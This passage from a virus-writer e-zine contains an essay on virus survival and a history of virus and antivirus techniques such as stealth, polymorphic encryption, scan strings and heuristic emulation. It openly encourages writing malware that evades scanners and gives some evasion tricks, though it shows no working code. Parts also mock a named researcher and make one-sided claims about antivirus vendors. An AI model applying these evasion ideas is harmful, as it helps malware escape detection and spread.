Virus is as good as long it can survive. Some virus writers are writing their work for "research reasons" justputting it into some collections, spreading between avers, but no more. Well, one may guess it is ethical. Atfirst I have to say - the most unethical thing associated with viruses is destruction. Never do that. You don'thave any reasons to do so. The else what left - is the virii principle itself - to spread and be spreaded. Thereis nothing inbetween. I can illustrate it on Uruguay virus family. Don't you know 'em? They are pretty known: originally, whole family(as far as I know the latest is number 11) was written as some research virus to illustrate technologies.Polymorphic technologies, of course. Their author, named Brueiurere didn't (as far as it is known) supposedthem for real spreading - only for avers and to complicate their life a bit. Samples were available for av-researchers, later on only for some selected avers - they obtain samples with important note not to spreadthem. As the avers a biggest virus-exchangers in the world soon most of them has those samples. Someoneof them even put uruguay#6 into real enviroment and this virus (only avers had it!) was detected in the wild.This is classical example that also avers can spread viruses - even if they are saying they are a good guys.But world is never black and white. Later on, uruguay's author was producing some newer versions: upversion #8 almost every aver have. Version #10 and #11 were given only to two peoples in the world IljaGulfakov (dr.web) and xaefer (avp?). Are uruguays ethical? I don't think so - they are same viruses as otherones, but it complicates life to avers and they don't want to spread them as they can hardly detect them.

I return back to the original idea - how long virus can survive. Sooner or later any virus can be detected (andremoved as well) unless we can change the current virii principle - but it is a another long discussion. For

Page 53: EZine - Asterix #2

avers easily detectable virus that fits to their scanning schemes makes no problem to detect and remove if itappears in the wild. It only depends on how soon the unknown virus (up to that time) infects someone'scomputer who can find out there is a virus and can see some changes and send sample to some avcompany. The usual way (just think) is to put it to some directory to analyze it. It depends how much peoplefamiliar with viruses they have to process all the samples they have. As many times there is a lot of rubbishin such incoming files, damaged files, and viruses of course.Some minutes, hours or days later virus is roughly checked (usualy not analyzed as complex analyzis tookslots of time) and a scan-string (or whatever they use) is selected. If it is as easy as mentioned, it doesn't takelots of time. The more it is complicated the more work it takes. If it takes so much work, or they do notunderstand it at first look, one puts it into some group for later processing (if they will have some free timebut they usualy have not if there is too many new viruses). If it is more important - for example it wasreported in the wild, or customer have this virus, it must be processed immediately (or sooner, let's say).I will show another example here - well known Slovak virus One_Half (it has several variants, but forgetabout them for now): it appears in Slovakia and local anti-viruses had to fight him, even as it was a bitcomplicated (the better is to say non-standard) to detect it. But there were no need for big foreign companies(like Dr.Solomon's Toolkit) to add this virus to scanning as it was non-standard - it was not so easy to add it,so they don't. Even dr.solomon was sold in Slovakia, but it wasn't able to detect One_Half for a months (onlysome selected samples that were in virus collections, but no others ;-). When this virus gets out of Slovakiaand infects other countries, it becomes a problem for av companies and they have to solve it - if it is standardor not - customers are requesting it. It takes up to weeks or months for some to do so (also becauseOne_Half appears in In-the-Wild test set of VB). This ignorancy helps One_Half to spread a lot until theywere able to detect it successfuly.Was One_Half so amazing and great? In fact, it wasn't. It has only two unusual things that made himfamouse - the rest of it is rather simple and uninteresing. The first one (more important for detection) issomething what I call distributed decryptor. It is rather easy but it beats the principle of scanners - that's whyit was too hard for them to detect: decryptor consist of 10 instructions (all fixed) but they are not at the sameplace (or chunk). Each instruction surrounded with couple of rubbish instructions (choosed from 10 one-byteinstructions like clc, stc, sti, and some other simplest ones) with jump is placed at random place in host file.Jumps connects them in order to keep execution loop. Very simple, isn't it? One can very easily detect thisvirus. But avers weren't able to. As it doesn't fit their scanning schemes - they weren't able to detect itwithout writing special aditional routines. And they are busy and lazy, of course (as everyone is).Another unusual thing in One_Half was slow encryption of disc. Each time you reboot, it encrypts two tracksof hard-disc starting from the end (don't think about some strong encryption! it is simplest xor with constantword value) but as long as you have virus you can't notice anything because it (same as if you have a stealth)on fly encrypts-decrypts data in encrypted area. But if one remove the virus, there is no more on-flydecrypting and part of disk is left encrypted (xored, in other words) and user can't access files, etc. This wasalso untraditional and simple removing leads to reinstaling of disk - and avers have to prepare specialroutines that decrypts disk as well (some of them doesn't even up to now, but One_Half is over in thesedays). But this is not what I want to appoint, as it indirectly leads to destruction.What you should take from this story? No matter how your virus is complicated or bombastic, it is onlyvaluable if it can complicate life to avers. Thats it.

flush

Page 54: EZine - Asterix #2

Tie your seatbelts, prepare for long adventure through virus history. I will list basic principles of war betweenviruses and antiviruses to show you how the story was going on. Most probably I will not be able to keep it inchronological order but I try to use logical order, to show main technologies and counteractions on bothsides.

The story begins long long time ago (sounds like a fairtale, isn't it?) when first viruses were written. Doesn'tmatter which one exactly it was, the more important is that some of them appears on user's computers. Atthat time this war begins and it is continuing and growing up to now.

The BeginingNo matter how big invetion were first self-replicating algorhitms, viruses are not first programs that were ableto do so. It started with worms and other hardly-clasifieable pieces of code a time before virii. But virusesmake change and normal people having computers becomes infected.The very first viruses all follows one of two basic schemes. File and boot viruses and some of them survivesup to now. Old boot viruses are quite simple: they are spread in boot sector of floppy discs, and on bootingfrom such a floppy it copies itself into partition table and becomes resident (useful if there is no hard disc incomputer). Once it is resident, it infects bootsectors of all floppies beeing writen. Thats all folks, all it fits intoone sector. Michelangello or Stoned fits into this class.File viruses like Jerusalem uses simple appending parasitic infection, infects com or exe files (or both ofthem). When infected file is executed, it usualy becomes memory resident and infects all executed filessince. Some of them even don't have double-infection check (like Jerusalem) and often runned programs canbecome quite long. I think all you know basic principles so I'm not going to explain such a trivial things.

At that time situation was quite easy. May be some of you seen, for example scan19 - yes it detects 19viruses! There were really few viruses at that time. How to deal with tivial viruses? Well, first antiviruses werereally stupid and slow. Any program is and unique sequence of instructions - that something what everyprogrammer understands. But what one (aver) can do if he (usualy) doesn't understand file structures? Theresult were simple algorithms very simmilar to searching for text in text editor - a whole(!) file is checked forspecified string. This is origin of name "scan-string" which is a fixed sequence of bytes choosed from virusbody. Moreover, some of first antiviruses scans file as many times as many strings they have. One mayguess it is quite unefficient and slow. Sure! But at that time disks were really small (and computers slow aswell). This technology was biggest invetion in order to fight viruses ever, I can say. It survives up to today butin modified forms - as viruses are still using fixed code (plain or encrypted or whatever) and they can beeasily identified this way.

Antiviruses are bussiness. A big bussiness if one have a look at NAI. Beginigs were quite different, as manyindependent (free) antiviruses were available just to help people. But one can't stay competition with bigmoney - look at Microsoft to see why. Today, to keep track of a big number of new viruses a many peoplesare needed to work on antivirus for a full-time, and everyone needs money. And people have to buy (orsupport) antiviruses as they affraid of virus. Many people around the world things that viruses have todestroy something - thats why they don't like viruses. But noone cares that Windows crashes caused muchmore destruction than viruses. Because it is normal. Weird, isn't it? Well, this fear of viruses was started with biggest computer virus hoax ever, initiated by McAffee - in order to

Page 55: EZine - Asterix #2

make money, of course. It was Michelangello couple years ago, may be some of you remember it: McAffeeinformed about upcomming big computer dissaster caused by extremly dangerouse virus Michelangello.They estimated 20 milions of destroyed computers at activation date. 20 milions were too big number even inthose days as there weren't as many computers around the world as today. This hoax comes from publisherto publisher and it grew bigger and bigger - and information about this computer apocalypse appears in manycountries. I remember dady of my schoolfellow forbid him to turn on his computer (Sinclair ZX Spectrum with8 bit Z80 cpu!) because a virus can came to is through network (power network of 220V!) and it can bedestructed. Wow! Unbelieveable, isn't it? Even more that repair disc destroyed by Michelangello tooks fewseconds with diskedit. But noone mentioned it in this hoax, of course. As activation day passed, everyoneunderstoods I hope, too few computers were destructed (comparing to 20M) but this hoax succeed: peoplestarts really affraid of viruses, and antiviruses are sold worldwide - they become a big bussiness.

Old techniques of scanning (scan-strings)I already mentioned first scanning methods, based on scan-strings (sequence of bytes selected from virusbody). If they are found in file, it is marked as infected. Some of first antiviruses scans whole file for such astring, but later on they scanned only some specified area usualy used by viruses: begining of the file, end offile, and/or around exe's entry-point or com's first jump target. Usualy aproximately 6kB were (or are)scanned - it is quite little to load it fastly and quite enought for most of viruses - at least part of body shouldbe there. Scan-strings are checked at every position in loaded buffer, scanning is at suitable speed.Here should I put little discussion about scan-strings and how to choose them: at first, I will mention otherforms of scan strings later on. Choosing scan-string is not as trivial as one may guess. At first, such a stringhave to be in loaded buffer in any case. Scan string should be as short as possible (in order to save spaceand scanning time), but as long as possible at the same time (in order to detect only this virus with no falsepossitives). This sequence should be typical for virus (preferable this virus only), and not to be found in anyother regular file. If does, it is called false possitive identification. It is rather difficult to have no falsepossitives with many short strings - as there are many programs and one simply can't have them all.An example of really bad scan-string is e.g. E800005x, it is short, really typical for viruses. All you knowbasic opcodes I assume from head, but I'll translate it to: call $+2, pop xx. But it can be found nearly in anyvirus, and in many regular programs written in assembler. Hope you got the point.Another discussion is if this string should identify more viruses at once, or one-and-only. If it identifies forexample huge part of Jerusalem family, it is advantage that it may identify also new mutations. But it is notsuitable identification for cleaning, as they partialy differ from version to version. Today's trend is to have asexact identification as possible. But even today it is not possible. This leads to another extrema, typical forDr.Solomon's Toolkit: to identify versions even it there are not. An example: virus named Z (pure fiction),there is only one version in real, but in aver's collection it is separated into Z.A and Z.B, and solomonidentifies them as two versions but most of others not. But if you take Z.B infected file and replicate it, it iscaught by solomon as Z.A. What's going on? Well, they have selected scan-string also from host file. Usualynoone takes care as avers in many cases are not replicating files and only some selected samples aretravelling round the world - so they may get 100% hit rate on some virus - but only in virus collections avershave and not in real life. Remember this: they have only few samples (usualy), and whey are not active (notexecuted). The Tremor story later on tells you why.

Early battles - fooling simple scannersSituation stabilizies: there were some viruses, but avers weren't able to beat them completly. Moreover,once it is bussines, they don't want to win this battle totaly as there will be no war anymore and no bussinesanymore. Think with me: scanners were available and finding viruses at suitable rate. Of course there arestill peoples not using updated scanners all the time so viruses can survive, but new viruses once they arefound are added to scanners and can be easily identified. Too bad for virus-writer spending days or weeks to

Page 56: EZine - Asterix #2

create nice piece of code to be breaked in a minutes. You have to invent something. There were twoanswers - stealth and encryption.

Stealth counter-attackNow let's think how scanners works in that time: scanner runned on computer infected with virus opens eachfile and checks it for some id string. How you can hide? You can become "invisible" once you have totalcontrol over computer (elementary under DOS) and hide files beeing scanned. This is called stealth (due toU.S. Bombers B-2 called "Steath" - invisible for radars) and we may talk about two implementations for files:disinfection on-fly (each opened file is disinfected and again infected on closing) and true stealth (all fileoperations are checked and modified). And for boot viruses a sector redirecting is used.Computer is infected with stealth virus. Virus is active in memory, user runs his favorite scanner and it issearching for strings in files - but as it opens files with viruses, it can't find anything as virus hides itself. Nice,isn't it?

Memory scanningImagine you are an aver (as you have think for both sides, otherwise you can't rule this war) - what would youdo with stealth viruses? Simplest answer is to scan memory as well, and if virus is found, ask user to bootfrom clean floppy and run scanner this way - then there is no virus in memory and all is as before with regularviruses. Easy easy.Memory scanning in old times was simmilar to file scanning. All memory is checked for same strings as files,if found - a virus is reported in memory. To speedup the things some antiviruses doesn't scan whole memorybut only possible locations - they may skip ROMs, antivirus itself, etc. But it differs from one implementationto another. Memory scanning is not a big technical mirracle.Once virus is found, some antiviruses were able to patch virus to be inactive and to continue without need toboot from clean floppy. But due to many viruses appearing later it is not usual to do so today as there are toomany viruses and you can't write such a routines for every of them. AVP, for example performs such aactivity even now, but only a for few most common viruses. However it is quite userful for lazy users.Inactivating can be done easily by replacing virus handlers with jump to original entry-point of hookedinterrupt. Also usualy a virus body is erased (except jumps of hooked interrupts in order to keep interruptchain functional) not to report virus again. It must be done in interrupt-shield (cli) of course to protect forasynchronouse break-downs.

Another idea how to partialy inactivate virus in memory presented by some antiviruses is known-entry-pointmethhod. There are two basic interrupts under dos: int 21h for files and int 13h for sectors (boot viruses). Ifyou know the original entry point (you know this version of dos or you have stored this entry-point atinstallation process) you may find out if some virus is in memory and you can access functions without virus'influence. Of course, for int 13h you must check not for real interrupt pointer as it points to DOS, but forinternal pointer in DOS that points to ROM as boot viruses are loaded (and hooks int13) before DOS does it.But this technology in general has many weak points and it is forgotten today. As even legal programs mayredirect those interrupts because Microsoft designed its "OS" this way. For example caches, networks, etcredirects this interrupt. Novell netware for example uses redirecting int21 instead of MS's recomendednetwork redirector facility for network implementation (because it is implemented in versions 4+). If you callint21 entrypoint directly you can't scan Novell's disks. This technology caused many crashes and is unusablein generic case, you may check my another article about this: why not to use direct disk access which dealswith these things.

EncryptionOnce stealth viruses can be found in memory, another tryies comes with encryption expetiments. It startedwith first encrypted viruses that had main virus body encrypted but there must be at least short decryptionroutine. And this routine is still a fixed sequence of bytes - and it can be identified with a scan-string. Onemay guess there is no improovement. Actually, not a big one, but it starts development in this direction.

Page 57: EZine - Asterix #2

Wild-card scan-stringsSituation complicates a bit. Avers are forced to you one scan string, for example only fixed 16 bytes ofdecryptor. Btw: some stupid avers choosed scan-strings from virus body - e.g. xored each time with anothervalue, so they were able to catch only samples they have, but nothing else :-) Well, let's think about simplexor routine, quite fixed, however there are several variable bytes: encryption constant (let's talk about onebyte) and starting offset. As they are not at the same place, the 16 bytes of decryptor (pure example) isbroken into 3 chunks of fixed bytes, biggest of them let's say 6 bytes long. And avers have a problem: 6 bytesare really not enought for scan-string, as they are not absolutely unique - part of unvaluable loop can befound in other programs (see discussion on scan-strings above). Oops, how to deal with it? (Think onceagain as aver) What would you do? Once you have some technology implemented, functional and tested it isbest for you to use it at maximum. Scan-strings ... well, how about wildcards? Thats it: all you need is tohave one-byte substitution like '?' in shell patterns. In this case you can have still 16 bytes long scan-stringwith 3 variable bytes. It fits the requirements and all is as before - you have a scan-string to identify virus, allis okay. The most important is they were able to deal with it, but it tooks some time - and it gives virusespossibility to be spread. This is first implementation of wildcards in avir's scan-string history, but not lastchange in scan-string methodology of course...Another problem that appears here is encryptor vs. body dilema. Once it identifies virus by encryptor only, itcan't make a difference between versions, moreover it can't make difference between different viruses withsame (or roughly same) decryptor. Well, cleaning problem can be solved by easy de-xoring by cleaningroutine - you must to do so if you want to clean encrypted virus - and you can check the difference afterdecrypting. But this is important change in methodology - as there no exact identification before cleaning andidentification must be done once again at cleaning process in different conditions (a cleaning routine orscanner executed once again can do it). This problem still remains and I will return to it later on with MtE.

Variabilizing encryptionAvers handled encryption with wild-cards, you have to think about something new again, unless you want tobe caught in a days. Once virus have some simple encryptor, you can improove it a bit: you can increasevariability not to be handled by '?' wildcards by inserting of nop's or any simple junk instructions. Then yourdecryption instructions are not at fixed distances and simple wildcards will but be able to handle them. Forexample, if you have two fixed instructions together, a scan-string can be choosed from both of them. But ifyou insert 1-5 nops, scan-string with '?' will not deal with it (unless there are 5 scan-strings ;-) Simple, and itcan't be handled by current methods.

More wild-cardsHow avers can find such encryptors? They implemented another type of wildcard for it - '*' equivalent forvariable number of random bytes. It tooks some aditional work but it as handled. Depends on implementationhow many random bytes they allow - if it is fixed, or a limits are included in scan-string, or whatever. Scan-strings becomes differ from avir to avir. They were still able to handle all viruses with scan-strings but therebecome a big number of strings to be used that slows down scanning itself (today it looks like a kids gamebut viruses were at much the lower level than now too). Some avirs starting using some hierarchy in strings,methods of strings and substrings (smaller set for generic identification and if found, more detailed set), pre-sorting of strings into radix-tables, etc. It depends but all of them follows basic principles and fulfills therequirements.Interesting idea to speed-up scanning process is single-point scan-string, checked at fixed relative offset tosome important file position (e.g. entrypoint, file start or file end). Such a string can be shorter, as it ischecked only once at fixed offset (comparing to strings checked in whole loaded part of file) that decreasepossibility of false attacks (and it saves memory as well). It is much faster to scan for such a strings, and it is

Page 58: EZine - Asterix #2

easier to distinguish between versions. If a single-point string is well choosen it can be only 4-6 bytes long,comparing to 12-18 bytes of regular string.

Way from variable encryption to metamorphismOnce you are modifing a decryptor with some trivial junk instructions (there is no reason to put there someharder one, as all was needed to beat fixed strings, and nops can do that as well as other instructions) youcan do even something more. Scan string is fixed sequence of bytes, but if you change and indexing register,it becomes different sequence of bytes. Decryptors started to change in every infection, changine indexingregister, decrypting instruction, loop method, etc. Encryption scheme is pretty visible, however it slightlyincreases byte-level variability up to level when even wild-card scan-strings can't be used at all, or they can'tbe used at suitable reliability.This is something we can call variable encryptors or metamorphism - everyone call it in different way, aversclasify it even as a low polymorphical engines in order to show how clever they are. However, now therewere no matter of junk instructions (are there or not) once valueable bytes of decryptor instructions can't bechecked. It was presented in many forms in viruses and it requests new answer from avers.

Algorithmic scannersis the name of technology they present. As tries with mask for scan-string (to filter-out part of byte beeingvariable) doesn't show suitable results, a something new had to be found. Scanners started to use (parallely)short routines to distinguish if piece of code is a known decryptor or not. It checks for some code sequencesor forms, if it fits hard-coded requirements, file is reported as infected by virus. Usualy they had as manyalgorithm routines as many decryptors they want to recognize. As scheme of encryptors they are checkingfor follows really easy rules, it can be tested with satisfieable results for positive infection.Simple encrypted viruses were checked this way. But most of top avirs are not using this for trivial virii now(some of them does, i.e. Avast! which always (ok, usualy) rates in VB's 100% award group - but you can seetests - it can't identify even simply encrypted viruses exactly). So most of top avirs are using some kind oftracing (i.e. emulating) because it is required today to handle many of complicated viruses, in some sort ofgeneric decryptor - routine which is able to decrypt simply encrypted viruses (or more complicated, it againdepends on implementation).

InoculatingIt was another interesting things antiviruses offers in old times - may be some of you remember for exampleTNT Antivirus (it is gone) that does it. Functionality is simple - viruses usualy uses some marks to tag whichfile was already infected, not to infect it again. (all this is nearly same for boots/mbrs). All you are using somevariable set in file, or virus body (some bytes) already found in file, or changing time/date of file. Byinoculating those atributes are set and virus will not infect it again. Sounds nice, but unfunctional in general :)In that time there were not as many viruses, but it becomes imposible too - you simply can't inoculate filesagains all viruses. If they are checking for seconds of modification there can be two different viruses that setit to two different values, so you can't cover both of them. Yes, viruses aren't testing files only for their flags,but for some limits too. But some of them you can't fake - for example some values in exe header, oroverlays (program might become unfunctional).These are the reasons why it can't be used for large number of viruses or for all viruses - it can be done forone or some small number of viruses. Moreover, noone todays spends a lot of time with analyzis of virusestoday - most of them are analysed in a short time, and you have to know them completely to do inoculation,otherwise it may damage inoculated files. Well, in other words I don't think there are any reasons to take careabout inoculaton today.

"The Final solution"

Page 59: EZine - Asterix #2

This way some av companies called their antivirus systems another time ago. They presented "the finalantivirus that can deal with every virus without knowing it". Sounds good, isn't it? And it is more-less true. Doyou have any idea what is it? Well, checksumming, thats it. Idea is simple, and it works in many cases: allfiles that can be infected are chekcsummed (some kind of crc is calculated), plus filesize, some bytes fromheader, entrypoint, etc are backuped. Then, if virus infects some file (it must not be stealth) a change inlenght or contens is detected. First checksummers were really slow, as they checked crc of whole file, and ittakes some time to load it. But it can be speeded-up rapidly by checksumming only important areas (header,entrypoint, fileend) with same success. Well, once some change is detected, file can be repaired by tryingsome of available repairing schemas (typicaly there are only few of them how viruses inserts itself into file)and if result of some of them matches original crc-s, file is successfully repaired.Sounds nice, but it has several problems (lucky, lucky): at first it can't even detect stealth viruses. But if theyare not in memory, they are still valueable. Another big problem are lazy users - because most of them areusing (and downloading) antivirus only when they have some suspect or if they are really infected - andthere is no sense to make crc snapshot of infected files ;) And finally, there are still viruses (and this is howyou can avoid checksummer's success) that are not infecting files standardly, or modifies some bytes deepin host code, or whatever that doesn't match implemented schemas.

Checksummers didn't get a big success for these reasons, but they are still useable in many cases and evenmore, with combination of heuristical cleaner they can be more efficient. But there are still lazy users whichare not using antivirus until they are infected. Because of it this can't be a really big weapon against virusesin global. But there are still antiviruses are using it, and can reach a big efficiency of detecting and cleaning.

MtE breakthrough - polymorphismDark Avenger, world most famouse virus writer from Bulgaria, become famouse mostly because of a 3kBlong object file he released. It is known as MtE 0.9 beta (short name of Self-Mutating Engine) which mademany avers not to sleep for many nights. This smashing breakthrought was many times plagiated by somevirus coders, but I think it was never (or nearly never) as good as MtE. What it was? Imagine situation ofscanners before: all were based on scan-strings with wildcards, at most some easy checking routines(usualy not). But Dark Avenger informed the world in FidoNet message-group (I don't think that some ofcurrent guys on scene remembers fido) about his library that that can encrypt virus in 4.2 bilion different ways(4G you should understand) that can beat all scanners. Moreover it was real.MtE started new era called polymorphism. It was able to generate a decryptor containing many instructionswithou visible schematics in it. Random maps of registers, several accessing modes, fake codeflowalternatives, all was so unusual. Only schematic thing was end of loop - usualy dec/dec/jnz sequence, asavers decided there is always this sequence. Most of them thinks it also now because Bontchev said so, butthere isn't :) I got this result on thousands of generated samples I made - with some probability it createsother loop instructions sequence.MtE 0.9 was distributes with sample virus - non-resident com/exe infector, which was many time patched bylamers that are not able to write its own virus (with MtE library or not) and many very-simmilar viruses withMtE appears. A usual name of sample virus is MtE:Dedicated, because it contains a string: "This virus isdedicated to Sarah Gordon who wanted to have a virus named after her." (hope I remember it right). Here wehave - famouse and hated (and foolish) Sarah - even guys from av scene doesn't like her theoretical stuff,but they can't say it clearly as we can :) She became famouse (except it is a woman ;-) due to herinvestigation about virus writers and their origins. Funny but unusable and she sure hopes it is forgotten now;) Well, but back to MtE: Also library MtE 1.0 appears in the world, but it was nearly forgotten as it doesn'tbring new features, and most viruses are using original version 0.9.

Algorithmic scanners once againMtE goes above the limits of old antiviruses and presents some completely new idea they have to fight with.

Page 60: EZine - Asterix #2

Some unreliable detectors appears that checks for some secondary flags, like entry-points, or some code-sequence, or file-tagging, but they weren't quite functional. It tooks rather long time (months!) until a gooddetector was written and build into antiviruses. Partialy at that time it tooks many days until virus can get fromcountry to country - unlikely today. But no matter of that there were a big compentition between antiviruses tocatch all samples of MtE. A many independent test were made (it was never before or after) testingantiviruses on thousands of samples if it can find all MtE samples. It tooks lots of time to all antiviruses toreach 100% hit-rate.Again a question of exact detection appears. Recomentations of CARO suggested the sollution (and someantiviruses follows it, like TBAV in that time) that polymorphic library should be part of virus name, separatedby semicolon. For example MtE:Pogue.A - rest of hiererachical virus name should be dot-separated asbefore to display versions/revisions. However, it was quite difficult for avers to decide if there is a MtEencryptor at all, they weren't able to go under this generated encryptor.

How they were detecting MtE? Well, a algorithmical scanners were this solution once again. But withouvisible schema it wasn't so easy. Most of antiviruses used (and mostly they are using also now) anacceptage-disassembler. The idea is simple: MtE generates only some instructions, loop is alwaysterminated by dec/dec/jnz (well, not always, but no matter now) all you need is to know is given instructioncan be generated by MtE and the size of instruction (to know where the next instruction is). If a jnz is found,you need to check if it is in backward direction and there are two dec-s before it. Well, and to solveconditional paths - just try to pass both of the using recursion. If test is passed and backward jnz is found, aMtE virus is reported. Such a test is fast enought, hits all infected samples and has no (or really really little)false positives. And it can be as little as a bit more than 300 bytes as it is illustrated in TBAV.Thats why some of antiviruses can't report exactly what virus is encrypted by some polymorphical library -they are checking (usualy) if decryptor can be generated by coresponded poly engine. This technology isintended to be non-destructive analyzis (not to load this code once again) in comparison with emulation.

Plagiating MtE - polymorphic eraSuccess of MtE was never replicated. At first I think none of routines were as good as MtE, they weredifferent - as usualy noone understoods Darkie's code. But to be as successful as MtE it is not enought towrite a good polymorphic engine - this is something I want you to understand - as current avir technologiescan handle polymopric viruses mostly without problems. To be as successful as MtE one have to makesimmilar breaktrough - something that is incompatible with current thinking of antivirus guys.When MtE kicks all the avers pretty hard, a many virus coders started to write simmilar engines (as onceMtE was already detectable). First one I remember was TPE - Trident Polymorphic Engine (released byTrident group). There was a big fear from AV side of it because all they sill remembers MtE's fear. However,TPE wasn't as successful as MtE in world becase most of viruses weren't spread enought to be important.TPE technology was a bit different than MtE's - it uses several schemes of main encryptor, picking one ofthem plus some number of introduction schemes placed before encryption loop. It was rather schematic, butthere were many schemes so it wasn't visible for the first view. Hovever, some detecting routines usedsimmilar algorithm as for MtE, some detected each scheme in encryptor and checks it. In general, TPE ashandled much easier by avers - as they knew how to deal with it already.

I will not make big differences between each polymorphical engine as they are principialy unimportant. Someengines were really easy piece of cake for avers, some made them a lot of problems. Some noticeable polyengines usualy only reach some limits of antiviruses but never goes above them - thats why other polyengines weren't so successful - because MtE settuped a rather high limit. I can show you it on SMEG - allwhy it was so dangerouse for avers is because it can generate a really long decryptors. Well, a big fear of avers can be, if many polymorphical viruses (or engines) appears in a short time, each ofthem non-trivial (on some of limits of scanners), it will be really hard to implement specialised scanningroutines for all of them, if they are reported in-wild.

Page 61: EZine - Asterix #2

HeuristicsWell, this is a another big chapter, developed together with other technologies. A time ago, heuristic was onlya experiment how one can catch unknown virii. But wasn't quite relieable, widely it was introduced by TBAV(sure everyone knows). As we have completely dedicated article to this topic I will not describe it here - onlyto describe its reasons and influence in history.Finally, with more and more viruses comming each month, some avers tried to find out something that candetect even those they are not able to add so fast - to detect unknown viruses, in general. In fact it has sameproposal as checksumming already mentioned. For a long time heuristics was some kind of avers alchemy toimproove their hit-rates. It was magic that everyone admire (avers, virus-writes, gurus, coders and regularlamers), but noone trust. Funny, isn't it? First for wide public, surely not best, and mostly fooled by virus-writers is TBAV. TBAV puts all its power into fast heuristics but it has primary weak point - it was passiveinstead of active (disassembling instead of emulation) and it wasn't able to go through encryptors. Anotherbad thing for TBAV were displayed flags so anyone can see what internal flags were found on given file. Andusing documentation you can find out what TBAV suspects on your virus - and you can tune up not to bedetected by TBAV easily. Soon many viruses started to be anti-tbav that means not detected by tbav'sheuristic by default (today it is some sort of standard). It is too bad for heuristic - as it is designed to catchnew viruses, but if they are all designed not to be detected by such a heuristic, there is no way to do so.TBAV's heuristic finds its death in these things.TBAV (followed by some plagiats) uses, as I already mentioned, a passive method or disassembly (in otherwords) that analyses code (instructions) and detects some suspecting schemas - like setting registers andcalling interrupts, etc. There were a lot of flags (nearly for every letter of alphabet) for many things and theyare detected in different ways. But it was rather easy to fool, simply if it looks for mov ah,40 int 21, all youneed is to do mov ah, 3f inc ah int 21 and TBAV will not complain. For this reason anviruses that still usespassive analyzis as main weapon combines it with register emulation (tbav as well) that can (a bit) keep atrack of values in registers. When int 21 is found, for example, a 10 instructions before are likely analyzed tofind out values of registers. It works in many cases and do not work in many cases as well.Most funny thing was decryptor detection. It didn't work in many cases, and then tbav runs to detectinstructions from encrypted area - and usualy it founds many suspected instructions there of course. Well, I'mnot here to judge TBAV or other avir, for this proposal we have another article.

Another more powerful heuristic is presented by AVP (but it is usualy hidden as avp displays regularydetected viruses at first), by DrWeb and Nod-iCE. They are using active heuristics (emulating as much aspossible) and are able to detect much more suspected activities. Also, you don't see any flags there, so it isharder to fool them. But AVP's heurstic as well as Dr.Solomon's are setuped to be less-sensitive as they candetect plenty of viruses by scan-strings and they do not need to be as successful on uknown viruses asothers. For this reason of course they have less false-positives as well (our experiments some time agoshows that hit-rate of Dr.Solomon's heuristic for example is round about 70%).Active heuristic (emulation) is destructive to code, as it emulates as much as possible, and it must be trickilycombined with scanning. But it simplifies scanning as emulation can simply go through decryptors and thenav can detect virus exactly as it is already in decrypted state. For this reason it is also called as generic-decryptor in some antiviruses - if they are using emulation only for this. But heuristics finally after years ofbeeing unsure becomes a standard, and as it is showed by Nod-iCE and DrWeb, it can be really relieable.This what emulation gives us. However top antiviruses today uses combination of both methods.

Weak point of passive heuristic (or disassembly) is disassembly itself: there is difficult to find out values ofregisters even in simple cases. Of course it depends on implementation of heuristic. Also any encryption, ordata-depended or highly-structured code can't be understood by disassembly-based heuristic scanner. Asheuristic scanner looks for typical structure of instructions of viruses (searching for executable files,accessing and modifying them, becoming resident, etc) do this things in some tricky way, not clearly and

Page 62: EZine - Asterix #2

visible.To fool emulation is much more difficult. Emulation typical executes code of virus, like in regular computer,establishing some circumstances and testing if code is performing usual virii activity. At first, emulators arelimitied by its definition - they are much slower than regular machine, so long decryptors or routines jumpinglong time each to other are aborted on a timeout - because heuristic can't hang for a long time on one file.Then there are limits of processor - only one type of processor can be emulated (more-less) perfectly. Youcan test processor if it works in the way it should: undocumented (but mostly unknown!) instructions, may besome badly implemented instructions in their emulator (its hard to find). However, it is just work for couple ofminutes for them to implement another instruction. But there are also other limits - machine can't beemulated completly: entire of file can't be loaded (imagine loading 500k exe file), virtual machine doesn'twork like it should - many of interrupts may not work, things doing by other parts of system are not alsocompletly emulated, i/o ports usualy doesn't work (may be some easies of them are emulated, but they can'twork with all of them), etc. Hardest for avers should be reaching limits of emulator, because they can'textend their limits every time: memory length, file loading, emulation speed.

Cracking WindowsHave you ever crack a window? Just take a rock, and throw it to the window. Easy, isn't it? All right, I'm notgoing to write about it, but about real Windows - Microsoft's revange to the rest of the world. Time ago, withWin3.x world was devided between ones that doesn't like Windows (or even hate) and to the ones that likesWindows. (who of them used it, it doesn't matter now). Simmilar it was at the virus scene - most of themstayed at DOS level for three main reasons - there were no need to write for Win and DOS was goodenought, it was less documented and finally many of coders weren't able to code something for Windows.Now it is a bit changed. Microsoft rocks the world with Windows 9x and turned everything to be PE-ized.Well, history repeats:

Windows 3.xxFirst Windows viruses were simple examples. At first, a file format is a bit changed - NE has extra fields,there are different circumstaces in protected mode, but interrupts still works and things are more-less similar.So the first viruses were simple non-resident infectors. And all avers needed to do is to implement scanningof secondary entrypoint in NE. Virus was pretty visible, simple scan-string can be used. Later I remember abig rumours about first resident viruses in Windows. A many discussions started if viruses will stay underDOS or will move under Windows. Today I think all you know whats true. But Windows are more complicated- there are more files beeing target of infection - DLL for example, and more things to infect in them.Interesting example was virus that infects exported labels in DLL, for example exported function XyzA,instead of regular entry-point was infected. What scanner must search for in this case? It has to go throughall the exports! And there can be a lot of them that will decrese speed of scanning rapidly. It is still interestingidea. Only way it was handled by avers was scanning file-end (what they usualy do) for string, and oops -virus is there. But if the things are more complicated to scan, some encryption for example or not to belocated on some easy determinable place - it will be really bad for avers (they'll have to emulate code atevery export label).Memory scanning is also not possible in a way it was for scanners. Under Windows 3.xx one can do what hewants - some viruses for example for this reason goes to Ring 0, but antivirus can do the same to scan allthe memory. But there is of course more memory to be scanned and it is rather slower. Today memoryscanning in Windows is not that prefered. Instead of it, a resident scanners are used more widely, as theyare more consistent now with operating system (Win 9x) and there is not as big hunting for memory as itwere under DOS with Bill's world famouse 640k limit.

Windows 95/98

Page 63: EZine - Asterix #2

